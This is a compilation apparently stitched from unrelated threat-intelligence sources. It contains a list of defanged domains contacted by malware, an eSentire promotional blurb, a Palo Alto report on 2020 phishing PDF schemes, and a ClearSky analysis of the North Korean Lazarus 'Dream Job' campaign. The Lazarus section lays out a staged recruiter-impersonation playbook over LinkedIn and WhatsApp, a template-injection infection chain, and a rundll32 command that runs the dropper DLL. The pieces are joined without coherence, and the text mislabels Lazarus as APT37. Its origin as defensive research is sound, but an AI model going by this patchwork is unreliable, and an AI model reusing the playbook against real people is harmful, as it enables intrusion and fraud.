| hxxps://lyngsfjord.com/xmlrpc.php | Contacted domain |
| hxxps://galonivan.com.br/xmlrpc.php | Contacted domain |
| hxxps://assistironline.net/xmlrpc.php | Contacted domain |
| hxxps://dexacoin.net/xmlrpc.php | Contacted domain |
| hxxps://thetripgoeson.com/xmlrpc.php | Contacted domain |
| hxxps://hcss.nl/xmlrpc.php | Contacted domain |
| hxxp://beechdesigngroup.com/xmlrpc.php | Contacted domain |
| hxxp://dentalofficeathens.gr/xmlrpc.php | Contacted domain |
| hxxp://aracelicolin.org.mx/xmlrpc.php | Contacted domain |
| hxxps://shareddata.org/xmlrpc.php | Contacted domain |
| hxxps://dunkandjump.com/xmlrpc.php | Contacted domain |
| hxxps://nickthomm.com/xmlrpc.php | Contacted domain |
| hxxps://1worldsync.com/xmlrpc.php | Contacted domain |
| hxxps://hozoboz.com/xmlrpc.php | Contacted domain |
| hxxps://burmancoffee.com/xmlrpc.php | Contacted domain |
| hxxps://tonyevers.com/xmlrpc.php | Contacted domain |
| hxxps://serialowy.pl/xmlrpc.php | Contacted domain |
eSentire’s Threat Response Unit (TRU) is a world-class team of threat researchers who develop new detections enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and automate rapid response to advanced threats. If you are not currently engaged with an MDR provider, eSentire MDR can help you reclaim the advantage and put your business ahead of disruption. |
# Phishing Trends With PDF Files
**By Ashkan Hosseini and Ashutosh Chitwadgi**
**April 6, 2021**
## Executive Summary
From 2019-20, we noticed a dramatic 1,160% increase in malicious PDF files – from 411,800 malicious files to 5,224,056. PDF files are an enticing phishing vector as they are cross-platform and allow attackers to engage with users, making their schemes more believable as opposed to a text-based email with just a plain link.
To lure users into clicking on embedded links and buttons in phishing PDF files, we have identified the top five schemes used by attackers in 2020 to carry out phishing attacks, which we have grouped as Fake Captcha, Coupon, Play Button, File Sharing, and E-commerce.
Palo Alto Networks customers are protected against attacks from phishing documents through various services, such as Cortex XDR, AutoFocus, and Next-Generation Firewalls with security subscriptions including WildFire, Threat Prevention, URL Filtering, and DNS Security.
## Data Collection
To analyze the trends that we observed in 2020, we leveraged the data collected from the Palo Alto Networks WildFire platform. We collected a subset of phishing PDF samples throughout 2020 on a weekly basis. We then employed various heuristic-based processing and manual analysis to identify top themes in the collected dataset. Once these were identified, we created Yara rules that matched the files in each bucket and applied the Yara rules across all the malicious PDF files that we observed through WildFire.
## Data Overview
In 2020, we observed more than 5 million malicious PDF files. The following table shows the increase in the percentage of malicious PDF files we observed in 2020 compared to 2019.
| Year | Total PDF Files Seen | Percentage of PDF Malware | Percentage Increase |
|------|----------------------|---------------------------|---------------------|
| 2019 | 4,558,826,227 | 0.009% | 1,160% |
| 2020 | 6,707,266,410 | 0.08% | |
The pie chart gives an overview of how each of the top trends and schemes were distributed. The largest number of malicious PDF files that we observed through WildFire belonged to the fake “CAPTCHA” category. In the following sections, we will go over each scheme in detail. We do not discuss the ones that fall into the “Other” category, as they include too much variation and do not demonstrate a common theme.
## Usage of Traffic Redirection
After studying different malicious PDF campaigns, we found a common technique that was used among the majority of them: usage of traffic redirection.
Before we review the different PDF phishing campaigns, we will discuss the importance of traffic redirection in malicious and phishing PDF files. The links embedded in phishing PDF files often take the user to a gating website, from where they are either redirected to a malicious website or to several of them in a sequential manner. Instead of embedding a final phishing website – which can be subject to frequent takedowns – the attacker can extend the shelf life of the phishing PDF lure and also evade detection. Additionally, the final objective of the lure can be changed as needed (e.g., the attacker could choose to change the final website from a credential stealing site to a credit card fraud site).
We identified the top five phishing schemes from our dataset and will break them down in the order of their distribution. It is important to keep in mind that phishing PDF files often act as a secondary step and work in conjunction with their carrier (e.g., an email or a web post that contains them).
### 1. Fake CAPTCHA
Fake CAPTCHA PDF files demand that users verify themselves through a fake CAPTCHA. CAPTCHAs are challenge-response tests that help determine whether or not a user is human. However, the phishing PDF files we observed do not use a real CAPTCHA, but instead an embedded image of a CAPTCHA test. As soon as users try to “verify” themselves by clicking on the continue button, they are taken to an attacker-controlled website.
### 2. Coupon
The second category that we identified were phishing PDF files that were coupon-themed and often used a logo of a prominent oil company. A considerable amount of these files were in Russian with notes such as “ПОЛУЧИТЬ 50% СКИДКУ” and “ЖМИТЕ НА КАРТИНКУ” which translate to “get 50% discount” and “click on picture” respectively. Similar to other campaigns we observed, these phishing files also leveraged traffic redirection.
### 3. Static Image With a Play Button
These phishing files do not necessarily carry a specific message, as they are mostly static images with a picture of a play button ingrained in them. Although we observed several categories of images, a significant portion of them either used nudity or followed specific monetary themes such as Bitcoin, stock charts, and the like to lure users into clicking the play button.
### 4. File Sharing
This category of phishing PDF files utilizes popular online file sharing services to grab the user’s attention. They often inform the user that someone has shared a document with them. However, due to reasons which can vary from one PDF file to another, the user cannot see the content and apparently needs to click on an embedded button or a link.
### 5. E-commerce
Incorporating e-commerce themes into phishing emails and documents is not a new trend. However, we observed an upward trend in the number of fraudulent PDF files that used common e-commerce brands to trick users into clicking on embedded links.
## Conclusion
We covered the most common PDF-based phishing campaigns that we saw in 2020 along with their distribution. Data from recent years demonstrates that the amount of phishing attacks continues to increase and social engineering is the main vector for attackers to take advantage of users. Prior research has shown that large-scale phishing can have a click-through rate of up to 8%. Thus, it is important to verify and double-check the files you receive unexpectedly, even if they are from an entity that you know and trust.
Palo Alto Networks customers are protected against attacks from such phishing documents through various services:
- Cortex XDR (protects against phishing document delivery and execution).
- Next-Generation Firewalls with security subscriptions including WildFire and Threat Prevention (protects against phishing document delivery), URL Filtering (protects against redirectors and final phishing URLs), and DNS Security (protects against redirectors and final phishing domains).
- AutoFocus users can track some of these PDF phishing campaigns under the Autofocus tag GenericPhishingDocs. |
# Operation ‘Dream Job’
## Executive Summary
During June-August of 2020, ClearSky’s team investigated an offensive campaign attributed with high probability to North Korea, which we call “Dream Job.” This campaign has been active since the beginning of the year and it succeeded, in our assessment, to infect several dozens of companies and organizations in Israel and globally. Its main targets include defense and governmental companies, and specific employees of those companies. Throughout the campaign, the North Korean “Lazarus” group (aka HIDDEN COBRA) succeeded in manipulating the targets with a “dream job” offering, which was sent to the employees of said targets. The “dream job” is supposedly sent on behalf of some of the most prominent defense and aerospace companies in the US, including Boeing, McDonnell Douglas, and BAE. The infection and infiltration of target systems had been carried out through a widespread and sophisticated social engineering campaign, which included reconnaissance, creation of fictitious LinkedIn profiles, sending emails to the targets’ personal addresses, and conducting a continuous dialogue with the target – directly on the phone, and over WhatsApp. Upon infection, the attackers collected intelligence regarding the company’s activity, and also its financial affairs, probably in order to try and steal some money from it. The double scenario of espionage and money theft is unique to North Korea, which operates intelligence units that steal both information and money for their country.
In recent months, two parallel investigations, by ESET and McAfee, have been published, presenting attacks by the group against similar targets in other regions of the world. These publications contain several overlaps with the attack scenarios that we present in this report. In this report, we explain how the attack was conducted – with LinkedIn as the main attack and manipulation platform – and reveal the main infection scenarios of “Dream Job,” including social engineering tactics and the malware used by the attackers. We assess this to be this year’s main offensive campaign by the Lazarus group, and it embodies the sum of the group’s accumulative knowledge on infiltration to companies and organizations around the globe. In our estimation, the group operates dozens of researchers and intelligence personnel to maintain the campaign globally.
In 2019, we revealed evidence of Lazarus’ attack in Israel, whereas the North Korean espionage group had attempted to infiltrate the network of an Israeli defense company, and since this attack we have been monitoring the group’s activity in Israel. In recent months, we have succeeded in identifying new indications of the group’s activity in Israel. This report summarizes the investigation we have conducted, with the help of our customers, and through which we have revealed and analyzed several attacks conducted by the group. In the report, we present the campaign’s attack scenarios, which include sending a bait to download a file, supposedly containing details of a “dream job” in well-known organizations, mainly in the aerospace sector.
### Main Findings
- Social engineering chapter, which presents the stages to targets’ infection and the social engineering tactics used to manipulate it.
- Offensive tools’ analysis chapter, which surveys the three infection scenarios in this campaign:
- Infection through a malicious PDF file in an open-source PDF reader, which was altered to fit the group’s needs. This is the first time this scenario is revealed publicly.
- Infection through a Dotm file, which is downloaded from a breached server, takes the place of the original file, and runs a malicious macro on the target.
- Infection through a Doc file containing a malicious macro.
## Lazarus / Hidden Cobra – a North Korean APT group
The Lazarus group, also tracked as APT37 and HIDDEN COBRA, and two affiliated sub-groups Bluenoroff and Andariel, are North Korean espionage groups which gained notoriety for the first time in 2014, following the Sony breach. That breach was an act of revenge to produce a comedy movie, “The Interview,” which was seen by Pyongyang as a threat and humiliation for its leader. As a result, most of Sony’s IT infrastructure has been deleted, and the company’s activities were out of order for several months. In 2017, the group conducted one of the most significant ransomware attacks in history; the attack, named WannaCry, halted the work of dozens of companies around the world, and caused billions of dollars in direct and indirect damages. The attack placed North Korea as a prominent threat in cyberspace.
However, Lazarus’ main activity lies in the financial domain. The group’s activity appears to be a part of North Korean government’s effort to circumvent the long-standing sanctions placed mainly by the United States and the United Nations. Indeed, according to one of the UN’s reports from August 2019, the group succeeded in stealing more than 2 billion dollars to finance Pyongyang’s nuclear program. The group stands behind several significant cyber heist attempts, while the most well-known is the attack on the central Bangladeshi bank, resulting in theft of 81 million dollars. Originally, the group tried to steal a sum as high as 950 million, but the attack was hamstringed by a human error of the attackers. Another attack, which was tied to Lazarus and is particularly interesting in the context of this report, took place in 2019 against Redbanc, a company that connects the clearing infrastructure of Chile’s banks. One of the attack’s characteristics, which was not seen in Lazarus’ attacks until then, was a direct contact with the target. The attackers had impersonated HR hiring personnel and conducted interviews, also in Spanish, with the victims, mostly on Skype. Maintaining direct contact, beyond sending phishing emails, is relatively rare in nation-state espionage groups (APTs); however, as it will be shown in this report, Lazarus has adopted this tactic to ensure the success of their attacks.
In 2019, the group seemed to have shifted its focus from classical financial institutions to cryptocurrency exchanges and development of offensive tools for Mac and Linux operational systems, in addition to the known tools for Windows. The group’s most widespread attack scenario has been the creation of an internet page for a front company which deals, supposedly, with cryptocurrency trading. At that page, the victim could download a trading app, which was indeed installed on the victim’s computer, but alongside it was also installed a tool that collected information on the victim. Kaspersky called the campaign “AppleJeus.”
The group’s variety of tools and its determination attracted the attention of American intelligence and law enforcement agencies, manifested in sanctions (some of which were already in effect because of the group’s affiliation with North Korea) and publication of tools related to the group. Lazarus is one of the groups, which the US focused on specifically, as part of its Cyber Command and the Department of Homeland Security’s effort to hamstring offensive cyber infrastructures of rival countries.
## Previous Research
### Lazarus’ attack against an Israeli defense company in 2019
One of the group’s first targeted attacks, identified by us in March 2019 and tied to it based on similarity in technical details, targeted an Israeli security company. During the campaign, an email was sent, in flawed Hebrew, to one of the company’s employees. The sender’s address was from within the company, meaning the attacker had already gained access to one internal email address at least. To the email was attached a WinRAR archive, vulnerable to the CVE-2018-20250 vulnerability, which ran a malicious file in parallel to the archive’s opening.
The malicious executable, run in parallel to the archive file, is a small and basic backdoor, which collects information on the infected computer, apparently for value assessment before further infection, and reports to several hardcoded command-and-control (C2) servers. The tool uses a forged User-Agent of the following form:
```
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
```
A code check performed with Intezer Analyzer revealed some similarity between the source code of the malware that we have found, and known Lazarus samples, specifically those identified in another campaign, from 2018. The campaign analyzed and named “Operation Sharpshooter” by McAfee, had targeted 87 organizations in 24 countries in the defense, communications, and energy (also nuclear) sectors. That campaign’s scenario was different from the one we have found, but code similarity and the connection to a campaign with similar targets strengthened the connection to Lazarus.
### Operation In(ter)ception: ESET’s research on Lazarus’ attacks published in June 2020
In June 2020, ESET published a research on the group’s campaign, which attacked defense and aerospace companies in Europe and the Middle East, between September and December 2019. The campaign, which was named “In(ter)ception” after one of the malicious files downloaded by it, made wide use of social engineering and relied on a modular malware to collect reconnaissance on target networks. We present the main findings of the ESET report, because it served as a basis for our research and because it depicts one of the scenarios that we have identified in Israel as well.
According to ESET, the attackers made initial contact with the targets through LinkedIn. The attackers created profiles impersonating HR recruiters from international companies in the defense and aerospace sectors. The copycat profiles sent job offers to the targets, and if those showed interest, a password-protected archive was sent directly or through OneDrive. Upon verifying the activation of the file (the target asked, “what is the password?”), the copycat profiles were deleted. In the archive was a LNK file, which runs several commands in the command line: first, a remote PDF is opened and presented to the target, for distraction; second, a new folder is created, to which a WMI command line file is copied under a different name; finally, a scheduled task is created, in order to ensure initial persistence on the infected computer.
Upon gaining initial access and collecting basic information on the target computer – mostly network mapping through Active Directory querying – the attack continues. Through the scheduled task, an XSL script is downloaded from an attacker-controlled server; this script downloads the data needed to create and load the downloader, decodes it from base64 with certutil and loads the resulting malicious DLL. The DLL, which is the downloader for the main tool, downloads the tool’s source code from the C2 server and loads it in memory. Because each downloader contains the unique key required to decrypt the main tool, it is possible that there are several scenarios with potentially different keys and tools (ClearSky research indeed found additional scenarios).
The main tool, a DLL, can fingerprint the target computer, and communicate and work with the configuration file and the modules that are downloaded from the C2 server and add more capabilities to the tool. The tool can report the list of existent modules back to the operator, probably to allow capability assessment. Each module can contain up to 4 functions, while several modules can be active at the same time. Also, all the tool’s capabilities are initiated as classes during the bootstrapping phase, therefore the modules activate capabilities by using the corresponding classes. Finally, the collected information is packed in a RAR archive and uploaded to Dropbox.
Although the main goal of the campaign appears to be espionage, the attackers were seen exploiting the access and the information on the infected computers to conduct business email compromise (BEC) fraud. The attackers identified on infected computers information about some invoices to pay, created domains and email addresses to resemble the infected organization, and sent messages, demanding to pay the invoices to the new addresses. Although this scam did not work, this combination of information and money theft is rare and characterizes the North Koreans.
### Operation North Star: McAfee’s research on Lazarus’ attacks published in July 2020
In July 2020, another research has been published, by McAfee, which presents another attack scenario of the “Dream Job” campaign. Although McAfee did not associate the scenario, they have found with ESET’s research, they did attribute the campaign to Lazarus and pointed out the similarities with the scenario ESET have found. Through the scenario identified by McAfee, job offerings in the aforementioned sectors were sent as malicious Docx files, which presented the target with decoy documents and downloaded a malicious file template as well. The malicious template, a file with the Dotm extension, injected a malicious DLL library to the target computer, in order to conduct basic reconnaissance on it.
## Attack Vector – Job Seekers’ Recruitment Campaign
Impersonation of recruitment managers and reaching out to job seekers is a popular practice among APT groups that rely on social engineering. Since the beginning of 2020, Lazarus also operates a campaign that focuses on enticing job seekers with attractive places. However, North Korea is not the only state that uses this tactic: Iran – and APT33 in particular – operates a widespread campaign that focuses on recruiters’ impersonation too.
The use of this method of reaching out to the target with a tempting offer gives the attackers several advantages:
1. Creating a personal connection with the target and creating a false feeling of benefit from the conversation.
2. Approaching an employee with a tempting job offer limits the target’s ability to speak about it with colleagues and prevents information sharing that could jeopardize the whole campaign.
3. The need for discretion is an important component of this process, because the attacker can manipulate the target to do certain actions under the pretense of discretion, for example sending an infected file to the target’s personal email address (also bypassing corporate security solutions).
In recent months, and especially since the beginning of the COVID-19 pandemic, there was an uptick in the will of employees to join big, stable working places with better conditions (a “dream job”). This tendency characterizes periods of crisis and adds to the attackers’ ability to “press on sensitive spots” of their targets and persuade them to continue with the infection. Working remotely is another important component of the attackers’ ability to impersonate persons that the targets have never met, because many business connections are virtual now.
However, such social engineering tactics also have their deficiencies. For the attack to succeed, the attacker is almost completely dependent on the target and its cooperation. The attacker needs to employ sophisticated manipulations of deception and persuasion, because any little suspicion may lead to fail and wasted means. The attackers are at risk of their infected files being opened on a cellphone or in a home network rather than the corporate, which will lead the attackers to a dead end.
## Tools Used by the Espionage Group in the “Dream Job” Campaign
In the “Dream Job” campaign, the group used a variety of tools to infect the target and secure a “foothold” in the infected organization. The main part of our review of the campaign deals with the different tools and social engineering tactics which made the target open the infected file on their computer. Most of the employed tools were developed by the group itself, and some legitimate tools have been modified as well to fit the group’s goals. However, we saw that when the group fails to activate and operate its own tools, it turns to publicly available tools, some of which are not free. The tools used by the group may be divided into several groups:
1. Self-developed tools – tools ingeniously created for this particular campaign. In this campaign, we have identified several such tools, while most of them are files intended to infect the target computer. Following is a categorized list of those tools:
- Offensive tools:
- DBLL Dropper – a DLL file suited for both 32 and 64-bit systems. Those files install the malicious EXE, which is the main RAT. We have called it like that because its extension is, mostly, .db.
- DRATzarus – a self-developed RAT, installed from DBLL Dropper. This file shares similarities with a RAT developed by a group called “Bankshot,” and it allows the attackers to install different open-source tools.
- LNK file for redundancy – file which allows the attackers to re-install the malware on the target computer and maintains their “foothold” on the target.
- Attack methods:
- A malicious macro embedded in Doc and Dotm files – a malicious piece of code that installs three files used in the second stage of the infection.
- A Docx file with a malicious template (Template injection) – a file that downloads the malicious file from the C2 server, which is a breached site, and activates it (the malicious file) instead of the original Docx file.
2. Open source tools – tools used by the group in the fifth stage (when it fails to operate on the target computer). These tools are used to harvest high-privilege credentials on the target, maintain persistence, etc. Some of those tools were bought by the group.
## Tools and Offensive Techniques Categorized with MITRE ATT&CK
The different tools and techniques used by the group are divided in the following table into two types:
1. Intrusion – the initial penetration stage. At this stage, the attackers lure the target, through social engineering, to open the infected file on the target’s computer at work, all this while studying the target’s routine.
2. Exploitation – upon successfully enticing the target to open the infected file, the attackers install the RAT and secure their foothold in the organization.
The following table shows the overlaps between the tools and techniques that we have found in the campaign and those used by the Lazarus espionage group.
| Kill Chain Phase | Techniques, Tools and Procedures | MITRE ATT&CK |
|------------------|----------------------------------|---------------|
| Intrusion | Technique: Social media impersonation – LinkedIn | T1341 |
| | Technique: Social engineering methods – communication with the victim, phone calls, WhatsApp conversations | T1268 |
| | Technique: Spear phishing | T1566.001 |
| | Procedures: Using file hosting services like Dropbox and OneDrive | TA0021 |
| | Technique: Sending decoy file | T1027 |
| | Procedures: Archives (WinRAR or 7-ZIP) | T1002 |
| Exploitation | Technique + Tool: Anti VM | T1497 |
| | Tool: Template injection - downloading files from C2 | T1041 |
| | Tool: Visual Basic Macro code – Embedded in a DOC / DOTM file | T1064 |
| | User Execution: Malicious File | T1204.002 |
| | Techniques: Communication with C2 | T1102 |
| | Tool: Modified Sumatra PDF reader | T1204.002 |
| | Tool: DBLL Dropper | T1574.001 |
| | Tool: LNK file | T1564 |
| | Tool: RATzarus | T1219 |
| | Tool: Open source tools such as Wake-On-Lan, Responder.py and ChromePass | T1219 |
## Social Engineering Attack Infrastructure
### Introduction
To gain control over the victim machines, Lazarus used social engineering techniques. Attackers use such techniques to disguise themselves as colleagues, legitimate service providers, etc., thus luring users into disclosing private account information or granting the attackers access to machines or resources, without having to find and exploit a vulnerability. Lazarus is known for its focus on social engineering and its development of advanced fraud operations. In early 2019, the group executed an attack against Redbanc – a Chilean interbank network that connected all of the country’s ATM machines together – by establishing direct contact with the victim. The attackers impersonated Human Resources recruiters of grand corporates and conducted job interviews with their victims, over the phone and even via Skype, in both English and Spanish.
During our research, we uncovered social engineering techniques utilized by the group in this campaign, meant to persuade the victim to open a malicious file using his personal or corporate computer. Similar to the Redbanc campaign, we found evidence to the use of LinkedIn as part of the fraud operations carried out in this campaign. The attackers had long conversations with the victims, lasting several days to several weeks, during which they utilized techniques meant to lend them credibility.
The following is a summary of all social engineering techniques used by the group:
1. Creating a fictitious profile impersonating a legitimate company employee (e.g., Boeing) relevant to the potential victim’s background.
2. Joining the potential victim’s social circles by adding its friends on social media, thus establishing trust and reliability.
3. Initiating primary contact in English and having a conversation in which the victim is offered to start a discreet recruitment process for a covered position in their company.
4. An extensive correspondence with the victim, that sometimes lasts days and even weeks, including phone calls and WhatsApp texts. Accompanying the target throughout the actual infection process, in which a malicious file is sent to the victim.
### Social Engineering methods used to Establish a Credible Attack Infrastructure
#### First Stage – Creating a Reliable Fictitious Entity
As mentioned in the above introduction, the Lazarus group usually initiates contact with its victims using fictitious accounts allegedly belonging to recruitment experts in various companies, usually companies affiliated with the aviation and defense sectors such as Boeing and McDonnell Douglas. In the researched campaign, Lazarus uses LinkedIn accounts – an informed choice as LinkedIn is a business and employment-oriented media most often used by job seekers and recruiters. Furthermore, in many cases no validation process precedes the approval of new friends. Low awareness and lack of validation techniques make it easy for the attackers to create multiple fictitious entities and establish the impression that the attacker’s entity is part of your business-related social circle. This process can easily take place using Twitter as well, unlike Facebook.
Upon creating a fictitious profile, the attacker adds to its account friends from the alleged company for which he works (e.g., Boeing) as well as from the victim’s workplace to maximize its credibility and minimize the target’s suspicion. Fictitious entities are not created in masses – they are carefully tailored to the victims and the operation designed for them, based on extensive reconnaissance research. During our investigation, we were able to identify several tailored fictitious accounts. In some cases, Lazarus attackers create an entirely new entity whereas in others they base their account on a real profile found on the media. In these cases, the impostor account is fully copied from the real profile. For example, an account impersonating a Human Resources recruiter from Boeing can be created based on a real recruiter’s account, and a simple Google search would lead to both the real and fictitious accounts. Unlike the original profile, the fictitious one would contain numbers in its URI, instead of a full name.
#### Second Stage – Luring the victim via a Job Posting
Once a reliable fictitious entity has been created – a process which could take weeks, if not months – the attackers reach out to the victim using the profile, offering them a job at the company for which they allegedly recruit. The attackers offer the victim to begin a discreet recruitment process which discusses the position and process in detail.
#### Third Stage – Attacker-Victim Communication
The communication about the job offer between the attacker behind the fictitious profile and the victim can take weeks if not months. As the attackers initiate the contact, in many cases the victim is not looking for a new job or willing to leave its current position, the collaboration is not instant. Significant persuasion efforts may be required to get the victim to review the offer tailored for them.
Unlike other known attack methods, in which most of the efforts are invested in the primary contact, in this attack scenario efforts and resources are put into both the entity creation and the communication with the victims. Even if the victim is not interested in the position offered by the attacker, he is persuaded to fully review the details of the eligible position offered exclusively for him before making up his mind and taking the final decision. The job offer is tailored and discreet – increasing its reliability and decreasing the suspicion that a targeted attack is taking place. The discretion enables the attacker to negotiate with the attackers in length, as its current position is not endangered by the process.
The communication begins in the social media, but swiftly proceeds over the phone via WhatsApp, or by the victim’s personal email, allegedly to ensure discretion. In reality, the transition is meant to bypass security mechanisms and software implemented on the victim’s company account. The use of an instant messaging application to conduct phone calls – in this case WhatsApp – as part of the attack process is unique to this campaign and has not been exposed before. It is a risky choice and a highly sensitive operation, as the use of the wrong slang or accent can expose the entire operation. Phone calls take place in later stages as well, when the victim encounters technical problems running the malicious files on his machine.
#### Fourth Stage – Infection with Malware
After gaining the victim’s trust and persuading him to accept the job offer details, the attackers send the victim a file using the storage services OneDrive or Dropbox. The attackers attempt to make the victim download the file at his workplace – they do so by studying his daily routine and sending the file at a carefully selected time. Please note that up until this stage, the attackers avoided using the target’s corporate email account. Upon accessing the storage server, the victim downloads an archive file from which the malicious files are extracted. The file names match the company and position discussed before, and the attackers verify with the victim that he has indeed accessed the file.
At this point, the attackers abruptly cease all communication with the victim. They also close and delete profiles used to contact the victim.
## Attack Scenarios and Tools Analysis
### Introduction
In the last chapter, we have reviewed the social engineering scenario the attackers employ to gain the victim’s trust and send the infection file. During analysis conducted on our customers, we have identified five stages to the attack – from the moment the victim receives the malicious file to the installation of tools on their computer. Following is the summary of the five stages:
1. First Stage – at this stage, the attackers continue the social engineering and manipulate the target to open the malicious file on the target computer. This is the only stage where we have identified different scenarios – the three infection scenarios will be detailed further. In the first infection scenario, the group uses malicious PDF files and a PDF reader altered for the group’s needs, while in the second and third scenarios the group uses doc files with an embedded malicious macro code. In ESET’s June report, a similar scenario was revealed, which uses PDF files as decoys; however, in our research we have identified new infection scenarios. Another characteristic we have seen is the variety of the decoy documents: it seems that the attackers fit the files for each target.
- Details on the three infection scenarios:
- Infection through a malicious PDF file, run with an attacker-modified PDF reader. This scenario was not revealed until today.
- Infection through a DOC file, which activates a malicious macro code.
- Infection through a DOTM file, which is downloaded from the C2 server and activates a macro code.
2. Second Stage – installation of a LNK file (for redundancy) and a DLL library (drops the malware itself): throughout this stage, the attackers install three new files on the target computer. The first file is a legitimate file used as a bait, the second file is a LNK file used to maintain persistence and redundancy on the target, and the third file is a DLL file – which we call DBLL Dropper – the file drops the main RAT on the target.
3. Third and Fourth Stages – installation of a malicious file on the target and dropping of the RAT from it. At this stage, the attackers gain access to the target computer.
4. Fifth Stage – installation of additional tools with the access provided by the RAT; the tools allow the attacker to perform different actions on the target computer.
### First Stage – Infection
The infection process which will be described in this chapter includes three scenarios employed by the group. All the infection scenarios begin with sending a link to a file storage service, such as OneDrive or Dropbox, after gaining the target’s trust. The link is passed to the target through WhatsApp or to the personal email address, apparently in the target’s working hours, so they will be inclined to open it from the corporate working station. In the storage service, the target will find a ZIP or RAR file larger than 30 megabytes, containing the bait file. Using archive-type files helps the attacker to bypass the corporate protection solutions, and their size helps them avoid being downloaded to public sandboxes like any.run, thus complicating the investigation.
The file itself is passed, as mentioned earlier, under the pretense of containing information on an open position and includes the salary, the details on the supposed position, and official logos. Most of the suggested positions are finance-related. After downloading the file, the target will be asked to extract the bait document and open it. The bait document does not contain information on the position – only the company’s logo and the title of the document. The full document is revealed only after the rest of the files – both malicious and innocuous – are dropped.
It is worth noting that dropping the clean decoy document is unique and rare, because in most cases the attackers who use decoy documents do not provide a legitimate file. This tactic is used to gain the victim’s trust and dispel any suspicion of a cyber-attack.
The attackers act with much sensitivity and with high operational security (OPSEC). The infection scenarios are completely compartmentalized, so that there will be no queries to the same directory at the C2 server from two different files. Also, every target gets a file with a different hash value, which makes blocking difficult. Analysis of the files shows that they cannot run on computers that have the Korean, Japanese, or Chinese language preferences; this limitation resembles the Russian-speaking crime groups, which generally limit their tools to countries outside of the Commonwealth of Independent States (CIS).
During our analysis, we have identified several main, self-developed tools with a very high level of sophistication. In addition to those, we have seen the attackers install tools which are not necessarily self-developed – some can be downloaded freely on the net (e.g., the Chrome password extractor), and some can be purchased. If the attackers feel like they fail to operate on the infected computer, they seem to lower their OPSEC standards. The following describes the three infection scenarios.
### First infection scenario – PDF files
This scenario is new and has never been publicly revealed before. In ESET’s analysis on “Operation In(ter)ception,” they did show use of innocuous PDF files as bait or decoy documents; however, those were only dropped by an extracted LNK file. It should be reminded that in the 2014 Sony breach the group used clean PDF files as well. The cardinal difference between this scenario and the other scenarios in this report is the use of PDF files and not DOC/DOCX. First, the victim will receive a PDF file with the job offer. When they will try to open it on their computer with a regular viewer, they will be presented with the first page, containing the impersonated company’s logo, but without the offer. After that, the victim will tell the attacker that they cannot see the rest of the document; the attacker will send an ISO file, which is downloaded from a file storage service. The ISO file contains a special PDF reader, named “InternalViewer.” Based on a check we have performed, InternalViewer files can only run on 64-bit systems.
These files have few indications on scanning systems. In VirusTotal, the group’s only ISO file is not identified at all by any of the scanning engines, while the InternalViewer file is identified only by 4 engines (as of writing this report). That file is an open-source PDF reader called Sumatra, which was modified by the attackers.
This is how the bait file is presented in a legitimate PDF reader:
When run through the altered PDF reader, the file will be rewritten:
This is how the bait file will look while run through the altered PDF reader:
The InternalViewer file – upon running – will be substituted with a file that can adjust itself to each target, i.e., two different victims will see two different offers. Similarly to the other scenarios, in this one three files are installed on the target – the legitimate bait file (a PDF file containing the job description – the malicious PDF is deleted), the DLL file with the “.db” extension, and a LNK file for redundancy.
### Second infection scenario – DOC files
In our assessment, based on lower sophistication compared to the first and the third scenarios, this is the earliest scenario used by the group. It can be estimated that the third scenario, which will be presented further on, is an expansion of this scenario. The files are named “Job Description” in this scenario; the victim receives a DOC file (as opposed to DOCX in the next scenario). After opening the file, the target is requested to run macro scripts by pressing “Enable Editing” – this will download the same three files described in the previous section.
In this scenario, in contrast with the others, we have seen the DLL being dropped under the “.sys” expansion. We estimate that Lazarus uses this tactic to maintain persistence through a service and not only through the LNK shortcut.
### Third infection scenario – DOTM files
This scenario seems to be a more developed, expanded version of the second scenario and it employs several additional evasion techniques. In late July 2020, McAfee reported on this scenario. In this section, we will review the scenario and add our insights.
First stage – the victim downloads from the storage server the archive file, which contains a DOCX-type file; the DOCX file uses template injection to connect to a breached server and download from there a JPG or PNG-type picture, which is actually a DOTM file. This maneuver allows the attackers to bypass corporate security solutions, as there is no apparent illegitimate activity: the original file only connects to a legitimate (albeit hacked) server to download a picture. The attackers store the files on the C2 server, while their (the files’) names are indicative of the company they try to impersonate, such as BAE Systems, Boeing, Lockheed Martin, etc.
The dotm file oftentimes contains between one and three pages, while the first page contains the impersonated company’s name and a title that suits the job offer, and the two other pages are sometimes seen (with no content) and sometimes not, and their content can only be viewed after clicking “Enable Editing.”
Second stage – after downloading the DOTM file, the target is presented with a request to run a malicious macro, which is written in VBA and can only be run by the target. Three additional files, which are loaded as DLLs and contacted by the macro, are wsuser.db, wsdts.db, and desktop.ini. Occasionally, we have seen the attackers guide the victim to “Enable Editing,” to run the macro. In some cases, even after running the macro the victim ran into some troubles, and the attackers took care of those. Generally, it can be said that the attackers are very communicative and helpful, showing willingness to guide and help the victim if any problems arise.
## Second Stage – LNK and DLL Files
Once the initial infection process is complete (using one of the three mentioned methods), two types of files are deployed to the infected machine (in addition to the legitimate lure in the form of a job offer).
- The first file is an LNK, meaning a shortcut file, designed to establish persistence on the infected machine and enable re-installation in case the malware is removed.
- The second file is a DLL library that deploys the malware itself. This chapter will detail the DLL’s main components.
### The LNK File
When the file is activated, the DLL on the machine is executed anew. The file extensions are mostly .db, but ClearSky analysts have identified a .sys extension for a file located in a singular incident, named PCAudit.sys. We estimate that when the attackers wish to run the DLL as a service, they utilize the .sys file instead of .db.
### DBLL Dropper
Once the malicious DLL is deployed, the attackers install a designated RAT on the infected network. All of the DLLs used can detect whether they are on the correct network at the time of activation, and do not activate if the lure file is opened in a different network, or a mobile device. The tools also use various systems to detect Sandbox or VMware services.
ClearSky analysts located two types of libraries during our investigation, the first intended for 64-bit systems, and the second for 32-bit. We named these files “Dropper DBLL,” as the extensions are mostly .db. During our research, we observed the LNK’s capability to deploy these files.
Each file is packed using Packer Themida, evident from the _+CTRL string. The file is downloaded to varying folders on the infected machine. For example:
- C:\ProgramData\ThumbNail\thumbnail.db
- C:\ProgramData\desktop.ini
The file is executed using rundll32.exe, similarly to the process of establishing persistence that sets the path to which the DLL is unloaded using the CtrlPanel function:
```
C:\windows\system32\rundll32.exe "C:\ProgramData\ThumbNail\thumbnail.db", CtrlPanel S-6-81-3811-75432205-060098-6872 0 0 905 1
```
